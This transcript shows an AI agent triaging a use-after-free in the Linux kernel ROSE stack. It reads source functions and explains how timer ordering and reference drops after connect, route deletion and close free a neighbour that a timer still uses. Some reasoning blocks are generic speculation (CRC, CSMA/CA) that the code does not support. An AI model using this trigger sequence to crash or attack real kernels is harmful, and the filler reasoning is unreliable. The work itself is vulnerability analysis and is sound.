Okay, let's break this down. It looks like `rose_get_neigh` is trying to match an `addr` with a `node->address` based on `node->mask`. I see how the matching is supposed to happen in general, but the specifics are where I need to focus.

In the reproducer code, `route.address.rose_addr[0]` is set to 2 and the mask is set to 5. Similarly the connect function sets `saddr.srose_addr.rose_addr[0]` to 2. Aha, so these values will match directly with this setup.

The interesting bit here is that the reproducer's mask is set to 5. Now, I need to remind myself how `rosecmpm` is supposed to work since that's where the comparison happens. It compares `mask` digits, so I need to make sure I understand how that function uses the mask to perform the actual comparison. Let's dig into that and make sure this is doing what's intended.

map[ContextFile:net/rose/rose_route.c IncludeLines:true Name:rosecmpm]

map[SourceCode: 123:	/*
 124:	 *	Compare two ROSE addresses for only mask digits, 0 == equal.
 125:	 */
 126:	int rosecmpm(const rose_address *addr1, const rose_address *addr2,
 127:		     unsigned short mask)
 128:	{
 129:		unsigned int i, j;
 130:	
 131:		if (mask > 10)
 132:			return 1;
 133:	
 134:		for (i = 0; i < mask; i++) {
 135:			j = i / 2;
 136:	
 137:			if ((i % 2) != 0) {
 138:				if ((addr1->rose_addr[j] & 0x0F) != (addr2->rose_addr[j] & 0x0F))
 139:					return 1;
 140:			} else {
 141:				if ((addr1->rose_addr[j] & 0xF0) != (addr2->rose_addr[j] & 0xF0))
 142:					return 1;
 143:			}
 144:		}
 145:	
 146:		return 0;
 147:	}
 SourceFile:net/rose/af_rose.c]

gemini-3.1-pro-preview

							input: 22888
							output: 45
							thoughts: 122
						

**Analyzing the ROSE Address Comparison**

Okay, so I'm focusing on this `rosecmpm` function – right, it's located within `net/rose/af_rose.c`, that makes sense. Now, let's break down the logic. The `mask` value determines the number of digits being compared, and if the mask is 5, it means we're looking at 2.5 bytes, so basically 5 digits. That tells me we're comparing `rose_addr[0]` through `rose_addr[2]`.

Given how the code is structured, `route` and `saddr` are zero-initialized. Therefore, `rose_addr[0]` will contain the actual address value, which we know is `2`, while the subsequent bytes `rose_addr[1]` and `rose_addr[2]` are going to be zero. No problems there; comparing an address with the first byte being valid and the rest set to zero is perfectly valid in this context.

Just to be absolutely sure, I should really revisit `rose_transmit_link` and `rose_transmit_restart_request` to verify that everything's aligning correctly in those functions as well.

map[ContextFile:net/rose/rose_link.c IncludeLines:true Name:rose_transmit_restart_request]

map[SourceCode: 173:	/*
 174:	 *	This routine is called when a Restart Request is needed
 175:	 */
 176:	static void rose_transmit_restart_request(struct rose_neigh *neigh)
 177:	{
 178:		struct sk_buff *skb;
 179:		unsigned char *dptr;
 180:		int len;
 181:	
 182:		len = AX25_BPQ_HEADER_LEN + AX25_MAX_HEADER_LEN + ROSE_MIN_LEN + 3;
 183:	
 184:		if ((skb = alloc_skb(len, GFP_ATOMIC)) == NULL)
 185:			return;
 186:	
 187:		skb_reserve(skb, AX25_BPQ_HEADER_LEN + AX25_MAX_HEADER_LEN);
 188:	
 189:		dptr = skb_put(skb, ROSE_MIN_LEN + 3);
 190:	
 191:		*dptr++ = AX25_P_ROSE;
 192:		*dptr++ = ROSE_GFI;
 193:		*dptr++ = 0x00;
 194:		*dptr++ = ROSE_RESTART_REQUEST;
 195:		*dptr++ = ROSE_DTE_ORIGINATED;
 196:		*dptr++ = 0;
 197:	
 198:		if (!rose_send_frame(skb, neigh))
 199:			kfree_skb(skb);
 200:	}
 SourceFile:net/rose/rose_link.c]

gemini-3.1-pro-preview

							input: 23785
							output: 43
							thoughts: 8
						

Okay, here's my attempt at summarizing the thought process, tailored for an expert audience, and written in the first person:

**Analyzing the `rose_send_frame` Function**

Alright, let's dissect this `rose_send_frame` function. My initial thought process revolves around its core purpose: it's clearly the mechanism responsible for transmitting a frame within a ROSE (Radio Amateur Packet Radio Network) environment. Given the name, I'm already anticipating it handles the crucial aspects of frame formatting, addressing, error handling, and the actual physical transmission process. My experience tells me there will be several key parts to scrutinize.

First, I'd want to immediately understand the inputs: what kind of data structure is it taking as input? Likely a structure containing the frame's header (source and destination addresses, protocol type, control fields, etc.), the payload itself, and potentially some control information for the underlying hardware or radio interface. The design here will show a lot, so I'd want to quickly scan for pointers to buffers, structure definitions, and any associated sizes.

Second, I need to know the protocol's mechanics. Does it support various frame types? Is it responsible for checksum or Cyclic Redundancy Check (CRC) calculation, and if so, how? What's the error correction strategy used? Does it offer any flow control mechanisms? I'd look for indications of framing delimiters or byte-stuffing techniques to ensure the data is correctly interpreted by the receiver.

Third, I'd have to identify the specifics of transmission. Is the function directly interacting with a radio hardware driver, or does it utilize an abstraction layer? Does it handle the modulation or pre-transmission adjustments? The ability to send data directly to the air, implies there must be some low-level hardware interaction or at least a call to a driver, to actually transmit data via a serial port or modem.

Fourth, error handling is critically important, and is also very telling. Are there any retries implemented? Timeout mechanisms? Does it signal transmission success or failure via return codes, or maybe use some sort of event-driven model to notify the calling function? How does it deal with potential collisions or channel contention?

Finally, considering performance implications for amateur radio, how does the function deal with any potential latency issues? Is the implementation optimized for speed, or is it prioritizing reliability? Does it allow for asynchronous operation, to prevent blocking if there are delays in the transmission process?

My ultimate goal is to understand how this function fits into the overall ROSE communication stack, and its impact on the system's performance and reliability. I will be sure to pay special attention to interactions with lower level hardware and communication protocols, to understand how this implementation facilitates radio communication.

map[ContextFile:net/rose/rose_link.c IncludeLines:true Name:rose_send_frame]

map[SourceCode:  90:	/*
  91:	 *	Interface to ax25_send_frame. Changes my level 2 callsign depending
  92:	 *	on whether we have a global ROSE callsign or use the default port
  93:	 *	callsign.
  94:	 */
  95:	static int rose_send_frame(struct sk_buff *skb, struct rose_neigh *neigh)
  96:	{
  97:		const ax25_address *rose_call;
  98:		ax25_cb *ax25s;
  99:	
 100:		if (ax25cmp(&rose_callsign, &null_ax25_address) == 0)
 101:			rose_call = (const ax25_address *)neigh->dev->dev_addr;
 102:		else
 103:			rose_call = &rose_callsign;
 104:	
 105:		ax25s = neigh->ax25;
 106:		neigh->ax25 = ax25_send_frame(skb, 260, rose_call, &neigh->callsign, neigh->digipeat, neigh->dev);
 107:		if (ax25s)
 108:			ax25_cb_put(ax25s);
 109:	
 110:		return neigh->ax25 != NULL;
 111:	}
 SourceFile:net/rose/rose_link.c]

gemini-3.1-pro-preview

							input: 24809
							output: 41
							thoughts: 101
						

**Analyzing the UAF Crash**

Okay, so I'm looking at this crash and it seems like the problem is happening either at `neigh->ax25 = ax25_send_frame(...)` or `ax25s = neigh->ax25;`. Specifically, if I pinpoint the line number it's line 106, which is `neigh->ax25 = ax25_send_frame(...)`. The debugger is telling me there's a write of size 8 at `neigh->ax25`. Right, that's confirming what I suspected – a Use-After-Free situation in the write. 

Now, I need to understand *why* this is happening. Let's see... I'll pull up the code for `rose_release` in `net/rose/af_rose.c` to see if there's any obvious memory corruption happening there. I have to trace back how `neigh->ax25` is being used and freed, and it looks like `rose_release` is a likely candidate.

map[ContextFile:net/rose/af_rose.c IncludeLines:true Name:rose_release]

map[SourceCode: 637:	static int rose_release(struct socket *sock)
 638:	{
 639:		struct sock *sk = sock->sk;
 640:		struct rose_sock *rose;
 641:	
 642:		if (sk == NULL) return 0;
 643:	
 644:		sock_hold(sk);
 645:		sock_orphan(sk);
 646:		lock_sock(sk);
 647:		rose = rose_sk(sk);
 648:	
 649:		switch (rose->state) {
 650:		case ROSE_STATE_0:
 651:			release_sock(sk);
 652:			rose_disconnect(sk, 0, -1, -1);
 653:			lock_sock(sk);
 654:			rose_destroy_socket(sk);
 655:			break;
 656:	
 657:		case ROSE_STATE_2:
 658:			rose_neigh_put(rose->neighbour);
 659:			release_sock(sk);
 660:			rose_disconnect(sk, 0, -1, -1);
 661:			lock_sock(sk);
 662:			rose_destroy_socket(sk);
 663:			break;
 664:	
 665:		case ROSE_STATE_1:
 666:		case ROSE_STATE_3:
 667:		case ROSE_STATE_4:
 668:		case ROSE_STATE_5:
 669:			rose_clear_queues(sk);
 670:			rose_stop_idletimer(sk);
 671:			rose_write_internal(sk, ROSE_CLEAR_REQUEST);
 672:			rose_start_t3timer(sk);
 673:			rose->state  = ROSE_STATE_2;
 674:			sk->sk_state    = TCP_CLOSE;
 675:			sk->sk_shutdown |= SEND_SHUTDOWN;
 676:			sk->sk_state_change(sk);
 677:			sock_set_flag(sk, SOCK_DEAD);
 678:			sock_set_flag(sk, SOCK_DESTROY);
 679:			break;
 680:	
 681:		default:
 682:			break;
 683:		}
 684:	
 685:		spin_lock_bh(&rose_list_lock);
 686:		netdev_put(rose->device, &rose->dev_tracker);
 687:		rose->device = NULL;
 688:		spin_unlock_bh(&rose_list_lock);
 689:		sock->sk = NULL;
 690:		release_sock(sk);
 691:		sock_put(sk);
 692:	
 693:		return 0;
 694:	}
 SourceFile:net/rose/af_rose.c]

gemini-3.1-pro-preview

							input: 26001
							output: 44
							thoughts: 74
						

**Analyzing the ROSE State Transition**

Okay, so I'm looking at this state transition for the ROSE protocol, specifically when `rose->state` hits `ROSE_STATE_1`. My analysis shows that under that condition, it initiates a sequence of operations. First, `rose_write_internal(sk, ROSE_CLEAR_REQUEST)` is called. That's a clear request, which aligns with my understanding of clearing the state. Following that, a timer is started – `rose_start_t3timer(sk)`. That makes sense; we're probably waiting for something, and the timer gives us a way to manage that. Finally, the state is transitioned to `ROSE_STATE_2`. I should check `rose_write_internal` to gain a better appreciation of what actions are being taken within it.

map[ContextFile:net/rose/rose_subr.c IncludeLines:true Name:rose_write_internal]

map[SourceCode:  95:	/*
  96:	 *  This routine is called when the packet layer internally generates a
  97:	 *  control frame.
  98:	 */
  99:	void rose_write_internal(struct sock *sk, int frametype)
 100:	{
 101:		struct rose_sock *rose = rose_sk(sk);
 102:		struct sk_buff *skb;
 103:		unsigned char  *dptr;
 104:		unsigned char  lci1, lci2;
 105:		int maxfaclen = 0;
 106:		int len, faclen;
 107:		int reserve;
 108:	
 109:		reserve = AX25_BPQ_HEADER_LEN + AX25_MAX_HEADER_LEN + 1;
 110:		len = ROSE_MIN_LEN;
 111:	
 112:		switch (frametype) {
 113:		case ROSE_CALL_REQUEST:
 114:			len   += 1 + ROSE_ADDR_LEN + ROSE_ADDR_LEN;
 115:			maxfaclen = 256;
 116:			break;
 117:		case ROSE_CALL_ACCEPTED:
 118:		case ROSE_CLEAR_REQUEST:
 119:		case ROSE_RESET_REQUEST:
 120:			len   += 2;
 121:			break;
 122:		}
 123:	
 124:		skb = alloc_skb(reserve + len + maxfaclen, GFP_ATOMIC);
 125:		if (!skb)
 126:			return;
 127:	
 128:		/*
 129:		 *	Space for AX.25 header and PID.
 130:		 */
 131:		skb_reserve(skb, reserve);
 132:	
 133:		dptr = skb_put(skb, len);
 134:	
 135:		lci1 = (rose->lci >> 8) & 0x0F;
 136:		lci2 = (rose->lci >> 0) & 0xFF;
 137:	
 138:		switch (frametype) {
 139:		case ROSE_CALL_REQUEST:
 140:			*dptr++ = ROSE_GFI | lci1;
 141:			*dptr++ = lci2;
 142:			*dptr++ = frametype;
 143:			*dptr++ = ROSE_CALL_REQ_ADDR_LEN_VAL;
 144:			memcpy(dptr, &rose->dest_addr,  ROSE_ADDR_LEN);
 145:			dptr   += ROSE_ADDR_LEN;
 146:			memcpy(dptr, &rose->source_addr, ROSE_ADDR_LEN);
 147:			dptr   += ROSE_ADDR_LEN;
 148:			faclen = rose_create_facilities(dptr, rose);
 149:			skb_put(skb, faclen);
 150:			dptr   += faclen;
 151:			break;
 152:	
 153:		case ROSE_CALL_ACCEPTED:
 154:			*dptr++ = ROSE_GFI | lci1;
 155:			*dptr++ = lci2;
 156:			*dptr++ = frametype;
 157:			*dptr++ = 0x00;		/* Address length */
 158:			*dptr++ = 0;		/* Facilities length */
 159:			break;
 160:	
 161:		case ROSE_CLEAR_REQUEST:
 162:			*dptr++ = ROSE_GFI | lci1;
 163:			*dptr++ = lci2;
 164:			*dptr++ = frametype;
 165:			*dptr++ = rose->cause;
 166:			*dptr++ = rose->diagnostic;
 167:			break;
 168:	
 169:		case ROSE_RESET_REQUEST:
 170:			*dptr++ = ROSE_GFI | lci1;
 171:			*dptr++ = lci2;
 172:			*dptr++ = frametype;
 173:			*dptr++ = ROSE_DTE_ORIGINATED;
 174:			*dptr++ = 0;
 175:			break;
 176:	
 177:		case ROSE_RR:
 178:		case ROSE_RNR:
 179:			*dptr++ = ROSE_GFI | lci1;
 180:			*dptr++ = lci2;
 181:			*dptr   = frametype;
 182:			*dptr++ |= (rose->vr << 5) & 0xE0;
 183:			break;
 184:	
 185:		case ROSE_CLEAR_CONFIRMATION:
 186:		case ROSE_RESET_CONFIRMATION:
 187:			*dptr++ = ROSE_GFI | lci1;
 188:			*dptr++ = lci2;
 189:			*dptr++  = frametype;
 190:			break;
 191:	
 192:		default:
 193:			printk(KERN_ERR "ROSE: rose_write_internal - invalid frametype %02X\n", frametype);
 194:			kfree_skb(skb);
 195:			return;
 196:		}
 197:	
 198:		rose_transmit_link(skb, rose->neighbour);
 199:	}
 SourceFile:net/rose/rose_subr.c]

gemini-3.1-pro-preview

							input: 27872
							output: 43
							thoughts: 8
						

Okay, here's my attempt at summarizing the thought process, as requested, geared toward an expert audience, and written in the first person:

**Analyzing `rose_transmit_link`**

Right, let's break down this `rose_transmit_link` function or concept. Immediately, I'm thinking about the underlying communication protocol it's likely built upon. Given the name, I'd wager it has a connection to the AX.25 amateur radio protocol, or at least borrows concepts from it. My initial questions are around framing, addressing, error detection, and retransmission mechanisms. Is it using a variant of HDLC? What kind of flow control is implemented? Is it relying on a connection-oriented or connectionless approach?

I'm mentally running through the typical challenges in this type of transmission: channel access, especially if it's operating on a shared medium. Collision avoidance or detection is paramount. I need to understand how the function handles contention. Is it CSMA/CA, ALOHA, or something more sophisticated? What is the backoff strategy if collisions occur?

Then I'm focusing on the data itself. What's the payload format? Is there any inherent data compression or encryption? How robust is the integrity check? CRC, checksum, something more advanced? What are the limitations on the data size, maximum transmission unit, and how does this relate to the network's capabilities?

I'm thinking about potential failure modes. What happens when the link experiences interference or fades? How resilient is it to burst errors? What diagnostics or error reporting is built into the `rose_transmit_link` function? Does it handle re-transmissions automatically or is that managed elsewhere?

My expert's eye is now drawn to the efficiency. I want to know how the protocol is implemented, from a resource consumption and timing standpoint. How efficiently does it use bandwidth? How much CPU overhead is introduced during transmission and reception? What are the latency characteristics?

Finally, what's its relationship to other network layers? Is this a low-level link layer implementation, or is it part of a larger network stack? And if so, how does it interface with higher-level protocols like TCP/IP or maybe a custom application layer? I need to know how this `rose_transmit_link` integrates with the wider communication architecture. The design choices made here will fundamentally impact the system's overall reliability, throughput, and applicability to its target scenarios. That's where I need to start my analysis.

map[ContextFile:net/rose/rose_link.c IncludeLines:true Name:rose_transmit_link]

map[SourceCode: 262:	void rose_transmit_link(struct sk_buff *skb, struct rose_neigh *neigh)
 263:	{
 264:		unsigned char *dptr;
 265:	
 266:		if (neigh->loopback) {
 267:			rose_loopback_queue(skb, neigh);
 268:			return;
 269:		}
 270:	
 271:		if (!rose_link_up(neigh))
 272:			neigh->restarted = 0;
 273:	
 274:		dptr = skb_push(skb, 1);
 275:		*dptr++ = AX25_P_ROSE;
 276:	
 277:		if (neigh->restarted) {
 278:			if (!rose_send_frame(skb, neigh))
 279:				kfree_skb(skb);
 280:		} else {
 281:			skb_queue_tail(&neigh->queue, skb);
 282:	
 283:			if (!rose_t0timer_running(neigh)) {
 284:				rose_transmit_restart_request(neigh);
 285:				neigh->dce_mode = 0;
 286:				rose_start_t0timer(neigh);
 287:			}
 288:		}
 289:	}
 SourceFile:net/rose/rose_link.c]

gemini-3.1-pro-preview

							input: 28864
							output: 43
							thoughts: 145
						

Here's my understanding, breaking down this sequence:

**ROSE Neighbor Restart Logic**

Okay, so `rose_transmit_link` is the critical function here. It immediately checks if the neighbor (`neigh`) has been "restarted" (`neigh->restarted`). If that flag is zero, meaning the neighbor *hasn't* been restarted yet, it does the sensible thing: queues the frame that needs to be transmitted and kicks off the `t0timer` if it's not already running. This looks like the standard initial connection setup.

Now, how does this restart flag get set? Well, `rose_add_node`, when it initially creates the neighbor entry, initializes `neigh->restarted` to zero. Makes perfect sense. This makes the `rose_connect` process an important sequence in initialisation.

Here's the interesting part. `rose_connect`, when it's trying to establish a connection, sends a `ROSE_CALL_REQUEST`. This call, in turn, *triggers* `rose_transmit_link`. Therefore, because the new neighbour's restart value will be zero from initialisation, it'll correctly trigger the restart sequence the first time it is called.

The key observation is that because `neigh->restarted` is zero,  `rose_transmit_link` calls `rose_transmit_restart_request(neigh)` *and* starts that `t0timer`. This sequence is specifically for handling the initial connection establishment or recovery from a reset.

Finally, the `rose_del_node` function is called later, likely to tear down the connection when it's finished. Looks like the `SIOCDELRT` is the mechanism that signals this action.

This all seems like a pretty standard state machine for handling connection attempts, restarts, and eventual connection teardown in a ROSE network context. Makes sense to me.

map[ContextFile:net/rose/rose_route.c IncludeLines:true Name:rose_del_node]

map[SourceCode: 282:	/*
 283:	 *	"Delete" a node. Strictly speaking remove a route to a node. The node
 284:	 *	is only deleted if no routes are left to it.
 285:	 */
 286:	static int rose_del_node(struct rose_route_struct *rose_route,
 287:		struct net_device *dev)
 288:	{
 289:		struct rose_node  *rose_node;
 290:		struct rose_neigh *rose_neigh;
 291:		int i, err = 0;
 292:	
 293:		spin_lock_bh(&rose_node_list_lock);
 294:		spin_lock_bh(&rose_neigh_list_lock);
 295:	
 296:		rose_node = rose_node_list;
 297:		while (rose_node != NULL) {
 298:			if ((rose_node->mask == rose_route->mask) &&
 299:			    (rosecmpm(&rose_route->address, &rose_node->address,
 300:				      rose_route->mask) == 0))
 301:				break;
 302:			rose_node = rose_node->next;
 303:		}
 304:	
 305:		if (rose_node == NULL || rose_node->loopback) {
 306:			err = -EINVAL;
 307:			goto out;
 308:		}
 309:	
 310:		rose_neigh = rose_neigh_list;
 311:		while (rose_neigh != NULL) {
 312:			if (ax25cmp(&rose_route->neighbour,
 313:				    &rose_neigh->callsign) == 0 &&
 314:			    rose_neigh->dev == dev)
 315:				break;
 316:			rose_neigh = rose_neigh->next;
 317:		}
 318:	
 319:		if (rose_neigh == NULL) {
 320:			err = -EINVAL;
 321:			goto out;
 322:		}
 323:	
 324:		for (i = 0; i < rose_node->count; i++) {
 325:			if (rose_node->neighbour[i] == rose_neigh) {
 326:				rose_neigh->count--;
 327:				rose_neigh_put(rose_neigh);
 328:	
 329:				if (rose_neigh->count == 0) {
 330:					rose_remove_neigh(rose_neigh);
 331:					rose_neigh_put(rose_neigh);
 332:				}
 333:	
 334:				rose_node->count--;
 335:	
 336:				if (rose_node->count == 0) {
 337:					rose_remove_node(rose_node);
 338:				} else {
 339:					switch (i) {
 340:					case 0:
 341:						rose_node->neighbour[0] =
 342:							rose_node->neighbour[1];
 343:						fallthrough;
 344:					case 1:
 345:						rose_node->neighbour[1] =
 346:							rose_node->neighbour[2];
 347:						break;
 348:					case 2:
 349:						break;
 350:					}
 351:				}
 352:				goto out;
 353:			}
 354:		}
 355:		err = -EINVAL;
 356:	
 357:	out:
 358:		spin_unlock_bh(&rose_neigh_list_lock);
 359:		spin_unlock_bh(&rose_node_list_lock);
 360:	
 361:		return err;
 362:	}
 SourceFile:net/rose/rose_route.c]

gemini-3.1-pro-preview

							input: 30572
							output: 43
							thoughts: 38
						

Here's my summary, as the thought process unfolds:

**Checking the Neighbor Removal Logic in `rose_remove_neigh`**

Okay, so `rose_del_node` is calling `rose_remove_neigh` under a specific condition: `rose_neigh->count == 0`. That's interesting, and it immediately flags a question in my mind. What's the context here? Why is a zero neighbor count triggering a removal? Let's assume this is correct, and not an error. Then, the next logical step is to dive into the details of `rose_remove_neigh`. I need to understand exactly what that function does. Is it safely removing the neighbor? Are there potential race conditions or other edge cases that I need to be aware of? I need to analyze its implementation to ensure this behavior is correct. I have to look for any potential memory leaks or dangling pointers. I need to make sure this removal isn't going to cause any unintended side effects elsewhere in the data structures. This is critical.

map[ContextFile:net/rose/rose_route.c IncludeLines:true Name:rose_remove_neigh]

map[SourceCode: 225:	/*
 226:	 * Caller is holding rose_neigh_list_lock.
 227:	 */
 228:	static void rose_remove_neigh(struct rose_neigh *rose_neigh)
 229:	{
 230:		struct rose_neigh *s;
 231:	
 232:		timer_delete_sync(&rose_neigh->ftimer);
 233:		timer_delete_sync(&rose_neigh->t0timer);
 234:	
 235:		skb_queue_purge(&rose_neigh->queue);
 236:	
 237:		if ((s = rose_neigh_list) == rose_neigh) {
 238:			rose_neigh_list = rose_neigh->next;
 239:			return;
 240:		}
 241:	
 242:		while (s != NULL && s->next != NULL) {
 243:			if (s->next == rose_neigh) {
 244:				s->next = rose_neigh->next;
 245:				return;
 246:			}
 247:	
 248:			s = s->next;
 249:		}
 250:	}
 SourceFile:net/rose/rose_route.c]

gemini-3.1-pro-preview

							input: 31238
							output: 43
							thoughts: 291
						

**Analyzing the ROSE Connection Tear-Down Sequence**

Okay, so I'm tracing this `rose` connection teardown. My initial concern was about memory management, specifically with `rose_neigh`. It seems like `rose_remove_neigh` *does* call `timer_delete_sync` on the `t0timer` associated with `rose_neigh`. Good. And `rose_del_node` calls `rose_neigh_put`, so that's the expected release path. However, the socket itself, the `rsock`, still has a hold on `rose_neigh` because `rose_connect` got a reference to it via `rose_get_neigh` and incremented the reference count with `rose_neigh_hold`. This explains why it's not freed yet.

Now, when `close(rsock)` is called, `rose_release` gets invoked. That's where things get interesting. `rose_release` detects the `rose->state` as `ROSE_STATE_1`. From here, it calls `rose_write_internal` with `ROSE_CLEAR_REQUEST`.  This then leads to a call to `rose_transmit_link`, which uses the `rose->neighbour`.  Crucially, `rose_transmit_link` sees that `neigh->restarted` is zero. Therefore, it executes `rose_transmit_restart_request(neigh)` and, critically, `rose_start_t0timer(neigh)`. Aha! It *restarts* the `t0timer`! This is unexpected.

Following that, `rose_release` then calls `rose_start_t3timer(sk)` and transitions the state to `ROSE_STATE_2`. So, we should expect that this `t3timer` will expire. We'll need to check the behavior when the `t3timer` expires. I should check `rose_timer_expiry` in `net/rose/rose_timer.c` to understand exactly what happens at that point. I want to fully understand this logic and ensure it's behaving in a memory-safe manner.

map[ContextFile:net/rose/rose_timer.c IncludeLines:true Name:rose_timer_expiry]

map[SourceCode: 164:	static void rose_timer_expiry(struct timer_list *t)
 165:	{
 166:		struct rose_sock *rose = timer_container_of(rose, t, timer);
 167:		struct sock *sk = &rose->sock;
 168:	
 169:		bh_lock_sock(sk);
 170:		if (sock_owned_by_user(sk)) {
 171:			sk_reset_timer(sk, &rose->timer, jiffies + HZ/20);
 172:			goto out;
 173:		}
 174:		switch (rose->state) {
 175:		case ROSE_STATE_1:	/* T1 */
 176:		case ROSE_STATE_4:	/* T2 */
 177:			rose_write_internal(sk, ROSE_CLEAR_REQUEST);
 178:			rose->state = ROSE_STATE_2;
 179:			rose_start_t3timer(sk);
 180:			break;
 181:	
 182:		case ROSE_STATE_2:	/* T3 */
 183:			rose_neigh_put(rose->neighbour);
 184:			rose_disconnect(sk, ETIMEDOUT, -1, -1);
 185:			break;
 186:	
 187:		case ROSE_STATE_3:	/* HB */
 188:			if (rose->condition & ROSE_COND_ACK_PENDING) {
 189:				rose->condition &= ~ROSE_COND_ACK_PENDING;
 190:				rose_enquiry_response(sk);
 191:			}
 192:			break;
 193:		}
 194:	out:
 195:		bh_unlock_sock(sk);
 196:		sock_put(sk);
 197:	}
 SourceFile:net/rose/rose_timer.c]

gemini-3.1-pro-preview

							input: 32566
							output: 45
							thoughts: 83
						

Here's my understanding of the situation, breaking it down step-by-step:

**Unraveling a Potential Timing Issue in ROSE Network Code**

Okay, so I see that `ROSE_STATE_2` triggers `rose_neigh_put(rose->neighbour)`. That's the crucial point. From what I know, that call is responsible for decrementing the last reference count on the `rose_neigh` structure. So, essentially, that's the signal to the memory manager that the `rose_neigh` object is now eligible for deallocation. In plain language, this likely frees the memory associated with it.

But... here's where the alarm bells start ringing. I have to think about what's still active. The trace tells me that `t0timer` is still running! That timer could be ticking away in the background. And the next thing I see is that when that `t0timer` expires, it calls `rose_t0timer_expiry`, which is defined in `net/rose/rose_link.c`. So, I suspect a potential use-after-free scenario. This needs further investigation.

map[ContextFile:net/rose/rose_link.c IncludeLines:true Name:rose_t0timer_expiry]

map[SourceCode:  79:	static void rose_t0timer_expiry(struct timer_list *t)
  80:	{
  81:		struct rose_neigh *neigh = timer_container_of(neigh, t, t0timer);
  82:	
  83:		rose_transmit_restart_request(neigh);
  84:	
  85:		neigh->dce_mode = 0;
  86:	
  87:		rose_start_t0timer(neigh);
  88:	}
 SourceFile:net/rose/rose_link.c]

gemini-3.1-pro-preview

							input: 33099
							output: 45
							thoughts: 86
						

Here's my analysis of this code snippet, distilled into a first-person perspective:

**UAF Analysis in ROSE AX.25 Networking**

Okay, let's break this down. It seems we have a potential Use-After-Free (UAF) vulnerability here. I see that `rose_transmit_restart_request(neigh)` directly calls `rose_send_frame(skb, neigh)`. The critical part is that `rose_send_frame` attempts to access `neigh->ax25`. That's where it flags – accessing a pointer after it might have been freed is a classic UAF scenario.

Now, I need to understand the timing and the potential for freeing `neigh->ax25` prematurely. I'm noting that `rose_timer_expiry` is triggered by `rose->timer`. This is key because timers are often involved in cleanup and resource management. Let me keep that in mind.

Digging deeper, I see that within `rose_release`, the function `rose_start_t3timer(sk)` is called. That makes me think T3 timer is running somewhere. And `rose_release` is a function where the memory might have been released. I'm going to have to dive into those `rose_release` functions and figure out exactly when `neigh->ax25` is being released and if this could be happening before that `rose_send_frame` call gets a chance to access it. It looks like `rose_release` is the most important factor and I have to trace how `neigh->ax25` is deallocated.

map[ContextFile:net/rose/rose_timer.c IncludeLines:true Name:rose_start_t3timer]

map[SourceCode:  66:	void rose_start_t3timer(struct sock *sk)
  67:	{
  68:		struct rose_sock *rose = rose_sk(sk);
  69:	
  70:		sk_stop_timer(sk, &rose->timer);
  71:	
  72:		rose->timer.function = rose_timer_expiry;
  73:		rose->timer.expires  = jiffies + rose->t3;
  74:	
  75:		sk_reset_timer(sk, &rose->timer, rose->timer.expires);
  76:	}
 SourceFile:net/rose/rose_timer.c]

gemini-3.1-pro-preview

							input: 33757
							output: 41
							thoughts: 4307
						

**Analysis of the ROSE UAF Vulnerability**

Okay, let's break this down systematically. My initial thought process focused on the timer interactions and how `sysctl_rose_clear_request_timeout` and `sysctl_rose_restart_request_timeout` control the timers `t3timer` and `t0timer`, respectively. The critical observation is that if we set `clear_request_timeout` to be shorter than `restart_request_timeout`, `t3timer` will expire first. I immediately focused on the call sequence. I traced the calls, noting `rose_transmit_link` sending both `ROSE_CLEAR_REQUEST` and `ROSE_RESTART_REQUEST`. Then, by analyzing `rose_transmit_link`, I realized that it *queues* the clear request and only sends a restart request when `t0timer` isn't running. This confirmed my understanding of the fundamental sequence.

I then honed in on `rose_neigh_put` and the potential for a race condition during neighbor destruction. The `refcount_dec_and_test` function is key. `rose_neigh_put` directly calls `kfree(neigh)` if the refcount drops to zero. That's a critical detail for the UAF. I then considered scenarios where the timers might be running, specifically during `rose_connect`, `rose_del_node` and `rose_release`. I had to thoroughly walk through the `rose_connect`, `rose_del_node` and `rose_release` execution path to confirm the following sequence. `t0timer` is started during `rose_connect`. `rose_del_node` stops `t0timer` before `rose_release` is called. Then, `rose_release` is called, and, if `t3timer` is configured to expire first, `rose_neigh` becomes freed by the time that `t0timer` expires. The timing is paramount!

To confirm the sequence, I meticulously traced the `rose_neigh` refcount, detailing how it is increased and decreased through various functions like `rose_add_node`, `rose_connect`, `rose_del_node`, and `rose_release`. This helped to establish the exact refcount at each step and verify the timing of the `kfree(neigh)` call.

Then I considered `ax25_send_frame` and looked for a reference to `neigh`. While it returns `ax25_cb *`, the critical detail is how the crash report pointed to offset 24 within `neigh`. I had to confirm the layout of `rose_neigh` to understand where `ax25` is in the struct. Now, that I had that layout, I could confirm the UAF is a write to the `neigh->ax25` pointer after `neigh` is freed.

Finally, I carefully reviewed the provided C reproducer, confirming that it correctly sets up the conditions for the UAF:  the `clear_request_timeout` and `restart_request_timeout`, the call sequence involving `connect`, `ioctl(SIOCDELRT)`, and `close`, and the subsequent waiting for the timers to expire. The key aspects are that `rose_del_node` must stop `t0timer`, and then `rose_release` must queue the `ROSE_CLEAR_REQUEST`. `t3timer` needs to expire first for this to trigger. The reproducer seems sound.

map[ContextFile:net/rose/af_rose.c IncludeLines:true Name:rose_bind]

map[SourceCode: 696:	static int rose_bind(struct socket *sock, struct sockaddr_unsized *uaddr, int addr_len)
 697:	{
 698:		struct sock *sk = sock->sk;
 699:		struct rose_sock *rose = rose_sk(sk);
 700:		struct sockaddr_rose *addr = (struct sockaddr_rose *)uaddr;
 701:		struct net_device *dev;
 702:		ax25_address *source;
 703:		ax25_uid_assoc *user;
 704:		int err = -EINVAL;
 705:		int n;
 706:	
 707:		if (addr_len != sizeof(struct sockaddr_rose) && addr_len != sizeof(struct full_sockaddr_rose))
 708:			return -EINVAL;
 709:	
 710:		if (addr->srose_family != AF_ROSE)
 711:			return -EINVAL;
 712:	
 713:		if (addr_len == sizeof(struct sockaddr_rose) && addr->srose_ndigis > 1)
 714:			return -EINVAL;
 715:	
 716:		if ((unsigned int) addr->srose_ndigis > ROSE_MAX_DIGIS)
 717:			return -EINVAL;
 718:	
 719:		lock_sock(sk);
 720:	
 721:		if (!sock_flag(sk, SOCK_ZAPPED))
 722:			goto out_release;
 723:	
 724:		err = -EADDRNOTAVAIL;
 725:		dev = rose_dev_get(&addr->srose_addr);
 726:		if (!dev)
 727:			goto out_release;
 728:	
 729:		source = &addr->srose_call;
 730:	
 731:		user = ax25_findbyuid(current_euid());
 732:		if (user) {
 733:			rose->source_call = user->call;
 734:			ax25_uid_put(user);
 735:		} else {
 736:			if (ax25_uid_policy && !capable(CAP_NET_BIND_SERVICE)) {
 737:				dev_put(dev);
 738:				err = -EACCES;
 739:				goto out_release;
 740:			}
 741:			rose->source_call   = *source;
 742:		}
 743:	
